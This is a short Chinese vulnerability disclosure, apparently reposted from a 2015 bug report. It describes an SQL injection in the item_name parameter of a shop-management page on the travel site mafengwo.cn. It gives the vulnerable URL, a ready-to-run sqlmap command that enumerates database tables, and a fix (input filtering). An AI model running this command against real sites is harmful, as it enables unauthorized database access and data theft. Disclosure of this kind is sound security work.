蚂蜂窝主站SQL注入漏洞 - 网站安全

蚂蜂窝主站SQL注入漏洞 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] 蚂蜂窝主站SQL注入漏洞可致数据库信息泄露 SQLMAP 验证（仅演示取得数据表名称，仅为证明危害，不再继续深入）漏洞位置：http: www mafengwo cn shop mgr_item php?act=additem_name=lgkcalegitem_price=1...

蚂蜂窝主站SQL注入漏洞可致数据库信息泄露 SQLMAP 验证（仅演示取得数据表名称，仅为证明危害，不再继续深入）
漏洞位置：

http://www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597

参数item_name没有过滤

SQLMAP 跑表演示

注意是用 level 5 测试的，复现漏洞时别忘了

C:\Users\Administrator>sqlmap.py -u "www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597" -p item_name --tables --dbms=mysql --technique T --level 5

修复方案：

过滤所示参数，严格控制用户输入

XSS攻击及防御 - 网站安全 - 自学php

傲游云浏览器APP某处SQL注射 - 网站安全 - 自学p

子栏目

蚂蜂窝主站SQL注入漏洞 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论